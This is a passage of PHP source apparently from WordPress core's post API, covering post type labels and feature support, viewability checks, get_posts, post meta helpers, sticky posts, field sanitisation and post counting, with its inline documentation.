capabilities for future reference. if ( $args->map_meta_cap ) { _post_type_meta_capabilities( $capabilities ); } return (object) $capabilities; } /** * Store or return a list of post type meta caps for map_meta_cap(). * * @since 3.1.0 * @access private * * @global array $post_type_meta_caps Used to store meta capabilities. * * @param string[] $capabilities Post type meta capabilities. */ function _post_type_meta_capabilities( $capabilities = null ) { global $post_type_meta_caps; foreach ( $capabilities as $core => $custom ) { if ( in_array( $core, array( 'read_post', 'delete_post', 'edit_post' ), true ) ) { $post_type_meta_caps[ $custom ] = $core; } } } /** * Builds an object with all post type labels out of a post type object. * * Accepted keys of the label array in the post type object: * * - `name` - General name for the post type, usually plural. The same and overridden * by `$post_type_object->label`. Default is 'Posts' / 'Pages'. * - `singular_name` - Name for one object of this post type. Default is 'Post' / 'Page'. * - `add_new` - Default is 'Add New' for both hierarchical and non-hierarchical types. * When internationalizing this string, please use a {@link https://developer.wordpress.org/plugins/internationalization/how-to-internationalize-your-plugin/#disambiguation-by-context gettext context} * matching your post type. Example: `_x( 'Add New', 'product', 'textdomain' );`. * - `add_new_item` - Label for adding a new singular item. Default is 'Add New Post' / 'Add New Page'. * - `edit_item` - Label for editing a singular item. Default is 'Edit Post' / 'Edit Page'. * - `new_item` - Label for the new item page title. Default is 'New Post' / 'New Page'. * - `view_item` - Label for viewing a singular item. Default is 'View Post' / 'View Page'. * - `view_items` - Label for viewing post type archives. Default is 'View Posts' / 'View Pages'. * - `search_items` - Label for searching plural items. Default is 'Search Posts' / 'Search Pages'. * - `not_found` - Label used when no items are found. Default is 'No posts found' / 'No pages found'. * - `not_found_in_trash` - Label used when no items are in the Trash. Default is 'No posts found in Trash' / * 'No pages found in Trash'. * - `parent_item_colon` - Label used to prefix parents of hierarchical items. Not used on non-hierarchical * post types. Default is 'Parent Page:'. * - `all_items` - Label to signify all items in a submenu link. Default is 'All Posts' / 'All Pages'. * - `archives` - Label for archives in nav menus. Default is 'Post Archives' / 'Page Archives'. * - `attributes` - Label for the attributes meta box. Default is 'Post Attributes' / 'Page Attributes'. * - `insert_into_item` - Label for the media frame button. Default is 'Insert into post' / 'Insert into page'. * - `uploaded_to_this_item` - Label for the media frame filter. Default is 'Uploaded to this post' / * 'Uploaded to this page'. * - `featured_image` - Label for the featured image meta box title. Default is 'Featured image'. * - `set_featured_image` - Label for setting the featured image. Default is 'Set featured image'. * - `remove_featured_image` - Label for removing the featured image. Default is 'Remove featured image'. * - `use_featured_image` - Label in the media frame for using a featured image. Default is 'Use as featured image'. * - `menu_name` - Label for the menu name. Default is the same as `name`. * - `filter_items_list` - Label for the table views hidden heading. Default is 'Filter posts list' / * 'Filter pages list'. * - `filter_by_date` - Label for the date filter in list tables. Default is 'Filter by date'. * - `items_list_navigation` - Label for the table pagination hidden heading. Default is 'Posts list navigation' / * 'Pages list navigation'. * - `items_list` - Label for the table hidden heading. Default is 'Posts list' / 'Pages list'. * - `item_published` - Label used when an item is published. Default is 'Post published.' / 'Page published.' * - `item_published_privately` - Label used when an item is published with private visibility. * Default is 'Post published privately.' / 'Page published privately.' * - `item_reverted_to_draft` - Label used when an item is switched to a draft. * Default is 'Post reverted to draft.' / 'Page reverted to draft.' * - `item_scheduled` - Label used when an item is scheduled for publishing. Default is 'Post scheduled.' / * 'Page scheduled.' * - `item_updated` - Label used when an item is updated. Default is 'Post updated.' / 'Page updated.' * - `item_link` - Title for a navigation link block variation. Default is 'Post Link' / 'Page Link'. * - `item_link_description` - Description for a navigation link block variation. Default is 'A link to a post.' / * 'A link to a page.' * * Above, the first default value is for non-hierarchical post types (like posts) * and the second one is for hierarchical post types (like pages). * * Note: To set labels used in post type admin notices, see the {@see 'post_updated_messages'} filter. * * @since 3.0.0 * @since 4.3.0 Added the `featured_image`, `set_featured_image`, `remove_featured_image`, * and `use_featured_image` labels. * @since 4.4.0 Added the `archives`, `insert_into_item`, `uploaded_to_this_item`, `filter_items_list`, * `items_list_navigation`, and `items_list` labels. * @since 4.6.0 Converted the `$post_type` parameter to accept a `WP_Post_Type` object. * @since 4.7.0 Added the `view_items` and `attributes` labels. * @since 5.0.0 Added the `item_published`, `item_published_privately`, `item_reverted_to_draft`, * `item_scheduled`, and `item_updated` labels. * @since 5.7.0 Added the `filter_by_date` label. * @since 5.8.0 Added the `item_link` and `item_link_description` labels. * * @access private * * @param object|WP_Post_Type $post_type_object Post type object. * @return object Object with all the labels as member variables. */ function get_post_type_labels( $post_type_object ) { $nohier_vs_hier_defaults = WP_Post_Type::get_default_labels(); $nohier_vs_hier_defaults['menu_name'] = $nohier_vs_hier_defaults['name']; $labels = _get_custom_object_labels( $post_type_object, $nohier_vs_hier_defaults ); $post_type = $post_type_object->name; $default_labels = clone $labels; /** * Filters the labels of a specific post type. * * The dynamic portion of the hook name, `$post_type`, refers to * the post type slug. * * Possible hook names include: * * - `post_type_labels_post` * - `post_type_labels_page` * - `post_type_labels_attachment` * * @since 3.5.0 * * @see get_post_type_labels() for the full list of labels. * * @param object $labels Object with labels for the post type as member variables. */ $labels = apply_filters( "post_type_labels_{$post_type}", $labels ); // Ensure that the filtered labels contain all required default values. $labels = (object) array_merge( (array) $default_labels, (array) $labels ); return $labels; } /** * Build an object with custom-something object (post type, taxonomy) labels * out of a custom-something object * * @since 3.0.0 * @access private * * @param object $object A custom-something object. * @param array $nohier_vs_hier_defaults Hierarchical vs non-hierarchical default labels. * @return object Object containing labels for the given custom-something object. */ function _get_custom_object_labels( $object, $nohier_vs_hier_defaults ) { $object->labels = (array) $object->labels; if ( isset( $object->label ) && empty( $object->labels['name'] ) ) { $object->labels['name'] = $object->label; } if ( ! isset( $object->labels['singular_name'] ) && isset( $object->labels['name'] ) ) { $object->labels['singular_name'] = $object->labels['name']; } if ( ! isset( $object->labels['name_admin_bar'] ) ) { $object->labels['name_admin_bar'] = isset( $object->labels['singular_name'] ) ? $object->labels['singular_name'] : $object->name; } if ( ! isset( $object->labels['menu_name'] ) && isset( $object->labels['name'] ) ) { $object->labels['menu_name'] = $object->labels['name']; } if ( ! isset( $object->labels['all_items'] ) && isset( $object->labels['menu_name'] ) ) { $object->labels['all_items'] = $object->labels['menu_name']; } if ( ! isset( $object->labels['archives'] ) && isset( $object->labels['all_items'] ) ) { $object->labels['archives'] = $object->labels['all_items']; } $defaults = array(); foreach ( $nohier_vs_hier_defaults as $key => $value ) { $defaults[ $key ] = $object->hierarchical ? $value[1] : $value[0]; } $labels = array_merge( $defaults, $object->labels ); $object->labels = (object) $object->labels; return (object) $labels; } /** * Add submenus for post types. * * @access private * @since 3.1.0 */ function _add_post_type_submenus() { foreach ( get_post_types( array( 'show_ui' => true ) ) as $ptype ) { $ptype_obj = get_post_type_object( $ptype ); // Sub-menus only. if ( ! $ptype_obj->show_in_menu || true === $ptype_obj->show_in_menu ) { continue; } add_submenu_page( $ptype_obj->show_in_menu, $ptype_obj->labels->name, $ptype_obj->labels->all_items, $ptype_obj->cap->edit_posts, "edit.php?post_type=$ptype" ); } } /** * Registers support of certain features for a post type. * * All core features are directly associated with a functional area of the edit * screen, such as the editor or a meta box. Features include: 'title', 'editor', * 'comments', 'revisions', 'trackbacks', 'author', 'excerpt', 'page-attributes', * 'thumbnail', 'custom-fields', and 'post-formats'. * * Additionally, the 'revisions' feature dictates whether the post type will * store revisions, and the 'comments' feature dictates whether the comments * count will show on the edit screen. * * A third, optional parameter can also be passed along with a feature to provide * additional information about supporting that feature. * * Example usage: * * add_post_type_support( 'my_post_type', 'comments' ); * add_post_type_support( 'my_post_type', array( * 'author', 'excerpt', * ) ); * add_post_type_support( 'my_post_type', 'my_feature', array( * 'field' => 'value', * ) ); * * @since 3.0.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * * @global array $_wp_post_type_features * * @param string $post_type The post type for which to add the feature. * @param string|array $feature The feature being added, accepts an array of * feature strings or a single string. * @param mixed ...$args Optional extra arguments to pass along with certain features. */ function add_post_type_support( $post_type, $feature, ...$args ) { global $_wp_post_type_features; $features = (array) $feature; foreach ( $features as $feature ) { if ( $args ) { $_wp_post_type_features[ $post_type ][ $feature ] = $args; } else { $_wp_post_type_features[ $post_type ][ $feature ] = true; } } } /** * Remove support for a feature from a post type. * * @since 3.0.0 * * @global array $_wp_post_type_features * * @param string $post_type The post type for which to remove the feature. * @param string $feature The feature being removed. */ function remove_post_type_support( $post_type, $feature ) { global $_wp_post_type_features; unset( $_wp_post_type_features[ $post_type ][ $feature ] ); } /** * Get all the post type features * * @since 3.4.0 * * @global array $_wp_post_type_features * * @param string $post_type The post type. * @return array Post type supports list. */ function get_all_post_type_supports( $post_type ) { global $_wp_post_type_features; if ( isset( $_wp_post_type_features[ $post_type ] ) ) { return $_wp_post_type_features[ $post_type ]; } return array(); } /** * Check a post type's support for a given feature. * * @since 3.0.0 * * @global array $_wp_post_type_features * * @param string $post_type The post type being checked. * @param string $feature The feature being checked. * @return bool Whether the post type supports the given feature. */ function post_type_supports( $post_type, $feature ) { global $_wp_post_type_features; return ( isset( $_wp_post_type_features[ $post_type ][ $feature ] ) ); } /** * Retrieves a list of post type names that support a specific feature. * * @since 4.5.0 * * @global array $_wp_post_type_features Post type features * * @param array|string $feature Single feature or an array of features the post types should support. * @param string $operator Optional. The logical operation to perform. 'or' means * only one element from the array needs to match; 'and' * means all elements must match; 'not' means no elements may * match. Default 'and'. * @return string[] A list of post type names. */ function get_post_types_by_support( $feature, $operator = 'and' ) { global $_wp_post_type_features; $features = array_fill_keys( (array) $feature, true ); return array_keys( wp_filter_object_list( $_wp_post_type_features, $features, $operator ) ); } /** * Update the post type for the post ID. * * The page or post cache will be cleaned for the post ID. * * @since 2.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $post_id Optional. Post ID to change post type. Default 0. * @param string $post_type Optional. Post type. Accepts 'post' or 'page' to * name a few. Default 'post'. * @return int|false Amount of rows changed. Should be 1 for success and 0 for failure. */ function set_post_type( $post_id = 0, $post_type = 'post' ) { global $wpdb; $post_type = sanitize_post_field( 'post_type', $post_type, $post_id, 'db' ); $return = $wpdb->update( $wpdb->posts, array( 'post_type' => $post_type ), array( 'ID' => $post_id ) ); clean_post_cache( $post_id ); return $return; } /** * Determines whether a post type is considered "viewable". * * For built-in post types such as posts and pages, the 'public' value will be evaluated. * For all others, the 'publicly_queryable' value will be used. * * @since 4.4.0 * @since 4.5.0 Added the ability to pass a post type name in addition to object. * @since 4.6.0 Converted the `$post_type` parameter to accept a `WP_Post_Type` object. * @since 5.9.0 Added `is_post_type_viewable` hook to filter the result. * * @param string|WP_Post_Type $post_type Post type name or object. * @return bool Whether the post type should be considered viewable. */ function is_post_type_viewable( $post_type ) { if ( is_scalar( $post_type ) ) { $post_type = get_post_type_object( $post_type ); if ( ! $post_type ) { return false; } } if ( ! is_object( $post_type ) ) { return false; } $is_viewable = $post_type->publicly_queryable || ( $post_type->_builtin && $post_type->public ); /** * Filters whether a post type is considered "viewable". * * The returned filtered value must be a boolean type to ensure * `is_post_type_viewable()` only returns a boolean. This strictness * is by design to maintain backwards-compatibility and guard against * potential type errors in PHP 8.1+. Non-boolean values (even falsey * and truthy values) will result in the function returning false. * * @since 5.9.0 * * @param bool $is_viewable Whether the post type is "viewable" (strict type). * @param WP_Post_Type $post_type Post type object. */ return true === apply_filters( 'is_post_type_viewable', $is_viewable, $post_type ); } /** * Determine whether a post status is considered "viewable". * * For built-in post statuses such as publish and private, the 'public' value will be evaluated. * For all others, the 'publicly_queryable' value will be used. * * @since 5.7.0 * @since 5.9.0 Added `is_post_status_viewable` hook to filter the result. * * @param string|stdClass $post_status Post status name or object. * @return bool Whether the post status should be considered viewable. */ function is_post_status_viewable( $post_status ) { if ( is_scalar( $post_status ) ) { $post_status = get_post_status_object( $post_status ); if ( ! $post_status ) { return false; } } if ( ! is_object( $post_status ) || $post_status->internal || $post_status->protected ) { return false; } $is_viewable = $post_status->publicly_queryable || ( $post_status->_builtin && $post_status->public ); /** * Filters whether a post status is considered "viewable". * * The returned filtered value must be a boolean type to ensure * `is_post_status_viewable()` only returns a boolean. This strictness * is by design to maintain backwards-compatibility and guard against * potential type errors in PHP 8.1+. Non-boolean values (even falsey * and truthy values) will result in the function returning false. * * @since 5.9.0 * * @param bool $is_viewable Whether the post status is "viewable" (strict type). * @param stdClass $post_status Post status object. */ return true === apply_filters( 'is_post_status_viewable', $is_viewable, $post_status ); } /** * Determine whether a post is publicly viewable. * * Posts are considered publicly viewable if both the post status and post type * are viewable. * * @since 5.7.0 * * @param int|WP_Post|null $post Optional. Post ID or post object. Defaults to global $post. * @return bool Whether the post is publicly viewable. */ function is_post_publicly_viewable( $post = null ) { $post = get_post( $post ); if ( ! $post ) { return false; } $post_type = get_post_type( $post ); $post_status = get_post_status( $post ); return is_post_type_viewable( $post_type ) && is_post_status_viewable( $post_status ); } /** * Retrieves an array of the latest posts, or posts matching the given criteria. * * For more information on the accepted arguments, see the * {@link https://developer.wordpress.org/reference/classes/wp_query/ * WP_Query} documentation in the Developer Handbook. * * The `$ignore_sticky_posts` and `$no_found_rows` arguments are ignored by * this function and both are set to `true`. * * The defaults are as follows: * * @since 1.2.0 * * @see WP_Query * @see WP_Query::parse_query() * * @param array $args { * Optional. Arguments to retrieve posts. See WP_Query::parse_query() for all available arguments. * * @type int $numberposts Total number of posts to retrieve. Is an alias of `$posts_per_page` * in WP_Query. Accepts -1 for all. Default 5. * @type int|string $category Category ID or comma-separated list of IDs (this or any children). * Is an alias of `$cat` in WP_Query. Default 0. * @type int[] $include An array of post IDs to retrieve, sticky posts will be included. * Is an alias of `$post__in` in WP_Query. Default empty array. * @type int[] $exclude An array of post IDs not to retrieve. Default empty array. * @type bool $suppress_filters Whether to suppress filters. Default true. * } * @return WP_Post[]|int[] Array of post objects or post IDs. */ function get_posts( $args = null ) { $defaults = array( 'numberposts' => 5, 'category' => 0, 'orderby' => 'date', 'order' => 'DESC', 'include' => array(), 'exclude' => array(), 'meta_key' => '', 'meta_value' => '', 'post_type' => 'post', 'suppress_filters' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); if ( empty( $parsed_args['post_status'] ) ) { $parsed_args['post_status'] = ( 'attachment' === $parsed_args['post_type'] ) ? 'inherit' : 'publish'; } if ( ! empty( $parsed_args['numberposts'] ) && empty( $parsed_args['posts_per_page'] ) ) { $parsed_args['posts_per_page'] = $parsed_args['numberposts']; } if ( ! empty( $parsed_args['category'] ) ) { $parsed_args['cat'] = $parsed_args['category']; } if ( ! empty( $parsed_args['include'] ) ) { $incposts = wp_parse_id_list( $parsed_args['include'] ); $parsed_args['posts_per_page'] = count( $incposts ); // Only the number of posts included. $parsed_args['post__in'] = $incposts; } elseif ( ! empty( $parsed_args['exclude'] ) ) { $parsed_args['post__not_in'] = wp_parse_id_list( $parsed_args['exclude'] ); } $parsed_args['ignore_sticky_posts'] = true; $parsed_args['no_found_rows'] = true; $get_posts = new WP_Query; return $get_posts->query( $parsed_args ); } // // Post meta functions. // /** * Adds a meta field to the given post. * * Post meta data is called "Custom Fields" on the Administration Screen. * * @since 1.5.0 * * @param int $post_id Post ID. * @param string $meta_key Metadata name. * @param mixed $meta_value Metadata value. Must be serializable if non-scalar. * @param bool $unique Optional. Whether the same key should not be added. * Default false. * @return int|false Meta ID on success, false on failure. */ function add_post_meta( $post_id, $meta_key, $meta_value, $unique = false ) { // Make sure meta is added to the post, not a revision. $the_post = wp_is_post_revision( $post_id ); if ( $the_post ) { $post_id = $the_post; } return add_metadata( 'post', $post_id, $meta_key, $meta_value, $unique ); } /** * Deletes a post meta field for the given post ID. * * You can match based on the key, or key and value. Removing based on key and * value, will keep from removing duplicate metadata with the same key. It also * allows removing all metadata matching the key, if needed. * * @since 1.5.0 * * @param int $post_id Post ID. * @param string $meta_key Metadata name. * @param mixed $meta_value Optional. Metadata value. If provided, * rows will only be removed that match the value. * Must be serializable if non-scalar. Default empty. * @return bool True on success, false on failure. */ function delete_post_meta( $post_id, $meta_key, $meta_value = '' ) { // Make sure meta is deleted from the post, not from a revision. $the_post = wp_is_post_revision( $post_id ); if ( $the_post ) { $post_id = $the_post; } return delete_metadata( 'post', $post_id, $meta_key, $meta_value ); } /** * Retrieves a post meta field for the given post ID. * * @since 1.5.0 * * @param int $post_id Post ID. * @param string $key Optional. The meta key to retrieve. By default, * returns data for all keys. Default empty. * @param bool $single Optional. Whether to return a single value. * This parameter has no effect if `$key` is not specified. * Default false. * @return mixed An array of values if `$single` is false. * The value of the meta field if `$single` is true. * False for an invalid `$post_id` (non-numeric, zero, or negative value). * An empty string if a valid but non-existing post ID is passed. */ function get_post_meta( $post_id, $key = '', $single = false ) { return get_metadata( 'post', $post_id, $key, $single ); } /** * Updates a post meta field based on the given post ID. * * Use the `$prev_value` parameter to differentiate between meta fields with the * same key and post ID. * * If the meta field for the post does not exist, it will be added and its ID returned. * * Can be used in place of add_post_meta(). * * @since 1.5.0 * * @param int $post_id Post ID. * @param string $meta_key Metadata key. * @param mixed $meta_value Metadata value. Must be serializable if non-scalar. * @param mixed $prev_value Optional. Previous value to check before updating. * If specified, only update existing metadata entries with * this value. Otherwise, update all entries. Default empty. * @return int|bool Meta ID if the key didn't exist, true on successful update, * false on failure or if the value passed to the function * is the same as the one that is already in the database. */ function update_post_meta( $post_id, $meta_key, $meta_value, $prev_value = '' ) { // Make sure meta is updated for the post, not for a revision. $the_post = wp_is_post_revision( $post_id ); if ( $the_post ) { $post_id = $the_post; } return update_metadata( 'post', $post_id, $meta_key, $meta_value, $prev_value ); } /** * Deletes everything from post meta matching the given meta key. * * @since 2.3.0 * * @param string $post_meta_key Key to search for when deleting. * @return bool Whether the post meta key was deleted from the database. */ function delete_post_meta_by_key( $post_meta_key ) { return delete_metadata( 'post', null, $post_meta_key, '', true ); } /** * Registers a meta key for posts. * * @since 4.9.8 * * @param string $post_type Post type to register a meta key for. Pass an empty string * to register the meta key across all existing post types. * @param string $meta_key The meta key to register. * @param array $args Data used to describe the meta key when registered. See * {@see register_meta()} for a list of supported arguments. * @return bool True if the meta key was successfully registered, false if not. */ function register_post_meta( $post_type, $meta_key, array $args ) { $args['object_subtype'] = $post_type; return register_meta( 'post', $meta_key, $args ); } /** * Unregisters a meta key for posts. * * @since 4.9.8 * * @param string $post_type Post type the meta key is currently registered for. Pass * an empty string if the meta key is registered across all * existing post types. * @param string $meta_key The meta key to unregister. * @return bool True on success, false if the meta key was not previously registered. */ function unregister_post_meta( $post_type, $meta_key ) { return unregister_meta_key( 'post', $meta_key, $post_type ); } /** * Retrieve post meta fields, based on post ID. * * The post meta fields are retrieved from the cache where possible, * so the function is optimized to be called more than once. * * @since 1.2.0 * * @param int $post_id Optional. Post ID. Default is the ID of the global `$post`. * @return mixed An array of values. * False for an invalid `$post_id` (non-numeric, zero, or negative value). * An empty string if a valid but non-existing post ID is passed. */ function get_post_custom( $post_id = 0 ) { $post_id = absint( $post_id ); if ( ! $post_id ) { $post_id = get_the_ID(); } return get_post_meta( $post_id ); } /** * Retrieve meta field names for a post. * * If there are no meta fields, then nothing (null) will be returned. * * @since 1.2.0 * * @param int $post_id Optional. Post ID. Default is the ID of the global `$post`. * @return array|void Array of the keys, if retrieved. */ function get_post_custom_keys( $post_id = 0 ) { $custom = get_post_custom( $post_id ); if ( ! is_array( $custom ) ) { return; } $keys = array_keys( $custom ); if ( $keys ) { return $keys; } } /** * Retrieve values for a custom post field. * * The parameters must not be considered optional. All of the post meta fields * will be retrieved and only the meta field key values returned. * * @since 1.2.0 * * @param string $key Optional. Meta field key. Default empty. * @param int $post_id Optional. Post ID. Default is the ID of the global `$post`. * @return array|null Meta field values. */ function get_post_custom_values( $key = '', $post_id = 0 ) { if ( ! $key ) { return null; } $custom = get_post_custom( $post_id ); return isset( $custom[ $key ] ) ? $custom[ $key ] : null; } /** * Determines whether a post is sticky. * * Sticky posts should remain at the top of The Loop. If the post ID is not * given, then The Loop ID for the current post will be used. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.7.0 * * @param int $post_id Optional. Post ID. Default is the ID of the global `$post`. * @return bool Whether post is sticky. */ function is_sticky( $post_id = 0 ) { $post_id = absint( $post_id ); if ( ! $post_id ) { $post_id = get_the_ID(); } $stickies = get_option( 'sticky_posts' ); if ( is_array( $stickies ) ) { $stickies = array_map( 'intval', $stickies ); $is_sticky = in_array( $post_id, $stickies, true ); } else { $is_sticky = false; } /** * Filters whether a post is sticky. * * @since 5.3.0 * * @param bool $is_sticky Whether a post is sticky. * @param int $post_id Post ID. */ return apply_filters( 'is_sticky', $is_sticky, $post_id ); } /** * Sanitizes every post field. * * If the context is 'raw', then the post object or array will get minimal * sanitization of the integer fields. * * @since 2.3.0 * * @see sanitize_post_field() * * @param object|WP_Post|array $post The post object or array * @param string $context Optional. How to sanitize post fields. * Accepts 'raw', 'edit', 'db', 'display', * 'attribute', or 'js'. Default 'display'. * @return object|WP_Post|array The now sanitized post object or array (will be the * same type as `$post`). */ function sanitize_post( $post, $context = 'display' ) { if ( is_object( $post ) ) { // Check if post already filtered for this context. if ( isset( $post->filter ) && $context == $post->filter ) { return $post; } if ( ! isset( $post->ID ) ) { $post->ID = 0; } foreach ( array_keys( get_object_vars( $post ) ) as $field ) { $post->$field = sanitize_post_field( $field, $post->$field, $post->ID, $context ); } $post->filter = $context; } elseif ( is_array( $post ) ) { // Check if post already filtered for this context. if ( isset( $post['filter'] ) && $context == $post['filter'] ) { return $post; } if ( ! isset( $post['ID'] ) ) { $post['ID'] = 0; } foreach ( array_keys( $post ) as $field ) { $post[ $field ] = sanitize_post_field( $field, $post[ $field ], $post['ID'], $context ); } $post['filter'] = $context; } return $post; } /** * Sanitizes a post field based on context. * * Possible context values are: 'raw', 'edit', 'db', 'display', 'attribute' and * 'js'. The 'display' context is used by default. 'attribute' and 'js' contexts * are treated like 'display' when calling filters. * * @since 2.3.0 * @since 4.4.0 Like `sanitize_post()`, `$context` defaults to 'display'. * * @param string $field The Post Object field name. * @param mixed $value The Post Object value. * @param int $post_id Post ID. * @param string $context Optional. How to sanitize the field. Possible values are 'raw', 'edit', * 'db', 'display', 'attribute' and 'js'. Default 'display'. * @return mixed Sanitized value. */ function sanitize_post_field( $field, $value, $post_id, $context = 'display' ) { $int_fields = array( 'ID', 'post_parent', 'menu_order' ); if ( in_array( $field, $int_fields, true ) ) { $value = (int) $value; } // Fields which contain arrays of integers. $array_int_fields = array( 'ancestors' ); if ( in_array( $field, $array_int_fields, true ) ) { $value = array_map( 'absint', $value ); return $value; } if ( 'raw' === $context ) { return $value; } $prefixed = false; if ( false !== strpos( $field, 'post_' ) ) { $prefixed = true; $field_no_prefix = str_replace( 'post_', '', $field ); } if ( 'edit' === $context ) { $format_to_edit = array( 'post_content', 'post_excerpt', 'post_title', 'post_password' ); if ( $prefixed ) { /** * Filters the value of a specific post field to edit. * * The dynamic portion of the hook name, `$field`, refers to the post * field name. * * @since 2.3.0 * * @param mixed $value Value of the post field. * @param int $post_id Post ID. */ $value = apply_filters( "edit_{$field}", $value, $post_id ); /** * Filters the value of a specific post field to edit. * * The dynamic portion of the hook name, `$field_no_prefix`, refers to * the post field name. * * @since 2.3.0 * * @param mixed $value Value of the post field. * @param int $post_id Post ID. */ $value = apply_filters( "{$field_no_prefix}_edit_pre", $value, $post_id ); } else { $value = apply_filters( "edit_post_{$field}", $value, $post_id ); } if ( in_array( $field, $format_to_edit, true ) ) { if ( 'post_content' === $field ) { $value = format_to_edit( $value, user_can_richedit() ); } else { $value = format_to_edit( $value ); } } else { $value = esc_attr( $value ); } } elseif ( 'db' === $context ) { if ( $prefixed ) { /** * Filters the value of a specific post field before saving. * * The dynamic portion of the hook name, `$field`, refers to the post * field name. * * @since 2.3.0 * * @param mixed $value Value of the post field. */ $value = apply_filters( "pre_{$field}", $value ); /** * Filters the value of a specific field before saving. * * The dynamic portion of the hook name, `$field_no_prefix`, refers * to the post field name. * * @since 2.3.0 * * @param mixed $value Value of the post field. */ $value = apply_filters( "{$field_no_prefix}_save_pre", $value ); } else { $value = apply_filters( "pre_post_{$field}", $value ); /** * Filters the value of a specific post field before saving. * * The dynamic portion of the hook name, `$field`, refers to the post * field name. * * @since 2.3.0 * * @param mixed $value Value of the post field. */ $value = apply_filters( "{$field}_pre", $value ); } } else { // Use display filters by default. if ( $prefixed ) { /** * Filters the value of a specific post field for display. * * The dynamic portion of the hook name, `$field`, refers to the post * field name. * * @since 2.3.0 * * @param mixed $value Value of the prefixed post field. * @param int $post_id Post ID. * @param string $context Context for how to sanitize the field. * Accepts 'raw', 'edit', 'db', 'display', * 'attribute', or 'js'. Default 'display'. */ $value = apply_filters( "{$field}", $value, $post_id, $context ); } else { $value = apply_filters( "post_{$field}", $value, $post_id, $context ); } if ( 'attribute' === $context ) { $value = esc_attr( $value ); } elseif ( 'js' === $context ) { $value = esc_js( $value ); } } // Restore the type for integer fields after esc_attr(). if ( in_array( $field, $int_fields, true ) ) { $value = (int) $value; } return $value; } /** * Make a post sticky. * * Sticky posts should be displayed at the top of the front page. * * @since 2.7.0 * * @param int $post_id Post ID. */ function stick_post( $post_id ) { $post_id = (int) $post_id; $stickies = get_option( 'sticky_posts' ); $updated = false; if ( ! is_array( $stickies ) ) { $stickies = array(); } else { $stickies = array_unique( array_map( 'intval', $stickies ) ); } if ( ! in_array( $post_id, $stickies, true ) ) { $stickies[] = $post_id; $updated = update_option( 'sticky_posts', array_values( $stickies ) ); } if ( $updated ) { /** * Fires once a post has been added to the sticky list. * * @since 4.6.0 * * @param int $post_id ID of the post that was stuck. */ do_action( 'post_stuck', $post_id ); } } /** * Un-stick a post. * * Sticky posts should be displayed at the top of the front page. * * @since 2.7.0 * * @param int $post_id Post ID. */ function unstick_post( $post_id ) { $post_id = (int) $post_id; $stickies = get_option( 'sticky_posts' ); if ( ! is_array( $stickies ) ) { return; } $stickies = array_values( array_unique( array_map( 'intval', $stickies ) ) ); if ( ! in_array( $post_id, $stickies, true ) ) { return; } $offset = array_search( $post_id, $stickies, true ); if ( false === $offset ) { return; } array_splice( $stickies, $offset, 1 ); $updated = update_option( 'sticky_posts', $stickies ); if ( $updated ) { /** * Fires once a post has been removed from the sticky list. * * @since 4.6.0 * * @param int $post_id ID of the post that was unstuck. */ do_action( 'post_unstuck', $post_id ); } } /** * Return the cache key for wp_count_posts() based on the passed arguments. * * @since 3.9.0 * @access private * * @param string $type Optional. Post type to retrieve count Default 'post'. * @param string $perm Optional. 'readable' or empty. Default empty. * @return string The cache key. */ function _count_posts_cache_key( $type = 'post', $perm = '' ) { $cache_key = 'posts-' . $type; if ( 'readable' === $perm && is_user_logged_in() ) { $post_type_object = get_post_type_object( $type ); if ( $post_type_object && ! current_user_can( $post_type_object->cap->read_private_posts ) ) { $cache_key .= '_' . $perm . '_' . get_current_user_id(); } } return $cache_key; } /** * Count number of posts of a post type and if user has permissions to view. * * This function provides an efficient method of finding the amount of post's * type a blog has. Another method is to count the amount of items in * get_posts(), but that method has a lot of overhead with doing so. Therefore, * when developing for 2.5+, use this function instead. * * The $perm parameter checks for 'readable' value and if the user can read * private posts, it will display that for the user that is signed in. * * @since 2.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $type Optional. Post type to retrieve count. Default 'post'. * @param string $perm Optional. 'readable' or empty. Default empty. * @return stdClass Number of posts for each status. */ function wp_count_posts( $type = 'post', $perm = '' ) { global $wpdb; if ( ! post_type_exists( $type ) ) { return new stdClass; } $cache_key = _count_posts_cache_key( $type, $perm ); $counts = wp_cache_get( $cache_key, 'counts' ); if ( false !== $counts ) { // We may have cached this before every status was registered. foreach ( get_post_stati() as $status ) { if ( ! isset( $counts->{$status} ) ) { $counts->{$status} = 0; } } /** This filter is documented in wp-includes/post.php */ return apply_filters( 'wp_count_posts', $counts, $type, $perm ); } $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s"; if ( 'readable' === $perm && is_user_logged_in() ) { $post_type_object = get_post_type_object( $type ); if ( ! current_user_can( $post_type_object->cap->read_private_posts ) ) { $query .= $wpdb->prepare( " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id() ); } } $query .= ' GROUP BY post_status'; $results = (array) $wpdb->get_results( $wpdb->prepare( $query, $type ), ARRAY_A ); $counts = array_fill_keys( get_post_stati(), 0 ); foreach ( $results as $row ) { $counts[ $row['post_status'] ] = $row['num_posts']; } $counts = (object) $counts; wp_cache_set( $cache_key, $counts, 'counts' ); /** * Modify returned post counts by status for the current post type. * * @since 3.7.0 * * @param stdClass $counts An object containing the current post_type's post * counts by status. * @param string $type Post type. * @param string $perm The permission to determine if the posts are 'readable' * by the current user. */ return apply_filters( 'wp_count_posts', $counts, $type, $perm ); } /** * Count number of attachments for the mime type(s). * * If you set the optional mime_type parameter, then an array will still be * returned, but will only have the item you are looking for. It does not give * you the number of attachments that are children of a post. You can get that * by counting the number of children that post has. * * @since 2.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string|string[] $mime_type Optional. Array or comma-separated list of * MIME patterns. Default empty. * @return stdClass An object containing the attachment counts by mime type. */ function wp_count_attachments( $mime_type = '' ) { global $wpdb; $and = wp_post_mime_type_where( $mime_type ); $count = $wpdb->get_results( "SELECT post_mime_type, COUNT( * ) AS num_posts FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status != 'trash' $and GROUP BY post_mime_type", ARRAY_A ); $counts = array(); foreach ( (array) $count as $row ) { $counts[ $row['post_mime_type'] ] = $row['num_posts']; } $counts['trash'] = $wpdb->get_var( "SELECT COUNT( * ) FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status = 'trash' $and" ); /** * 